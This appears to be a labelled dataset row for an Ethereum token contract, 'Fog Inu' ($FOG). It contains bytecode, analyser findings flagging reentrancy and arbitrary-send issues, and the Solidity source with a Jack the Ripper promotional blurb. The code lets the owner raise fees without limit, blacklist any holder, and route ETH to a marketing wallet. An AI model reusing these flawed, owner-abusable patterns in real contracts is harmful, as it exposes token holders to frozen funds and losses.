000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960028461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660088461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0b640d89fb6ed7cc5c3c8b68a2548ebdca6d900428bba0eae62dbddd70db8be64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,340 |
0x59df9690d51e62a8de20a324e361f08f99e63cb4
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/*
Fog Inu
$FOG
https://t.me/foginu
Oh, the fog! How choky, smoky, soaky! How freezy, sneezy, wheezy! Didn’t you like it, gentle reader?
London fog was so famous, or should that be infamous. Fog was such a common occurrence in Victorian Britain that it really has seeped into the consciousness of society that there is always a bloodthristy murderer hidding inside the fog, Jack the Ripper was one of the greatest or even legendary example among these myths.
"Jack the Ripper" terrorized the Whitechapel district in London's East End. He killed at least five prostitutes and mutilated their bodies in an unusual manner. Jack the Ripper was never captured, and remains one of England's, and the world's, most infamous criminals. He was like a phantom hiding inside fog and no one could even catch him.
Fog Inu believes that the true identity of the infamous serial killer is actually an Inu that had long been forgiven and turned into a ghost to avenge an irresponsible human.
Fog Inu aka "Jack the Ripper" has come to the cryptoworld and dedicated itself to punishing ALL SCAMMERS. We are here to urge every scammer to stop your irresponsible behavior in order to avoid any devastating consequences that could possibly lead to.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FOG is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fog Inu";
string private constant _symbol = "FOG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeOnBuy = 5;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 5;
uint256 private _taxFeeOnSell = 4;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 3;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0x8a140971DC3ceEC5c6851C6cf6e140f6f989fD1D);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610590578063c5528490146105b0578063dd62ed3e146105d0578063ea1644d514610616578063f2fde38b1461063657600080fd5b80638da5cb5b1461051b5780638f9a55c01461053957806395d89b411461054f5780639e78fb4f1461057b57600080fd5b8063790ca413116100dc578063790ca413146104ba5780637c519ffb146104d05780637d1db4a5146104e5578063881dce60146104fb57600080fd5b80636fc3eaec1461045057806370a0823114610465578063715018a61461048557806374010ece1461049a57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d05780634bf2c7c9146103f05780635d098b38146104105780636d8aa8f81461043057600080fd5b80632fd689e31461035e578063313ce5671461037457806333251a0b1461039057806338eea22d146103b057600080fd5b806318160ddd116101c157806318160ddd146102e157806323b872dd1461030657806327c8f8351461032657806328bb665a1461033c57600080fd5b806306fdde03146101fe578063095ea7b3146102405780630f3a325f146102705780631694505e146102a957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082019091526007815266466f6720496e7560c81b60208201525b6040516102379190611ee1565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611d8c565b610656565b6040519015158152602001610237565b34801561027c57600080fd5b5061026061028b366004611cd8565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b557600080fd5b506016546102c9906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102ed57600080fd5b50678ac7230489e800005b604051908152602001610237565b34801561031257600080fd5b50610260610321366004611d4b565b61066d565b34801561033257600080fd5b506102c961dead81565b34801561034857600080fd5b5061035c610357366004611db8565b6106d6565b005b34801561036a57600080fd5b506102f8601a5481565b34801561038057600080fd5b5060405160098152602001610237565b34801561039c57600080fd5b5061035c6103ab366004611cd8565b610775565b3480156103bc57600080fd5b5061035c6103cb366004611ebf565b6107e4565b3480156103dc57600080fd5b506017546102c9906001600160a01b031681565b3480156103fc57600080fd5b5061035c61040b366004611ea6565b610819565b34801561041c57600080fd5b5061035c61042b366004611cd8565b610848565b34801561043c57600080fd5b5061035c61044b366004611e84565b6108a2565b34801561045c57600080fd5b5061035c6108ea565b34801561047157600080fd5b506102f8610480366004611cd8565b610914565b34801561049157600080fd5b5061035c610936565b3480156104a657600080fd5b5061035c6104b5366004611ea6565b6109aa565b3480156104c657600080fd5b506102f8600a5481565b3480156104dc57600080fd5b5061035c6109d9565b3480156104f157600080fd5b506102f860185481565b34801561050757600080fd5b5061035c610516366004611ea6565b610a33565b34801561052757600080fd5b506000546001600160a01b03166102c9565b34801561054557600080fd5b506102f860195481565b34801561055b57600080fd5b50604080518082019091526003815262464f4760e81b602082015261022a565b34801561058757600080fd5b5061035c610aaf565b34801561059c57600080fd5b506102606105ab366004611d8c565b610c94565b3480156105bc57600080fd5b5061035c6105cb366004611ebf565b610ca1565b3480156105dc57600080fd5b506102f86105eb366004611d12565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062257600080fd5b5061035c610631366004611ea6565b610cd6565b34801561064257600080fd5b5061035c610651366004611cd8565b610d05565b6000610663338484610def565b5060015b92915050565b600061067a848484610f13565b6106cc84336106c7856040518060600160405280602881526020016120e6602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061156d565b610def565b5060019392505050565b6000546001600160a01b031633146107095760405162461bcd60e51b8152600401610700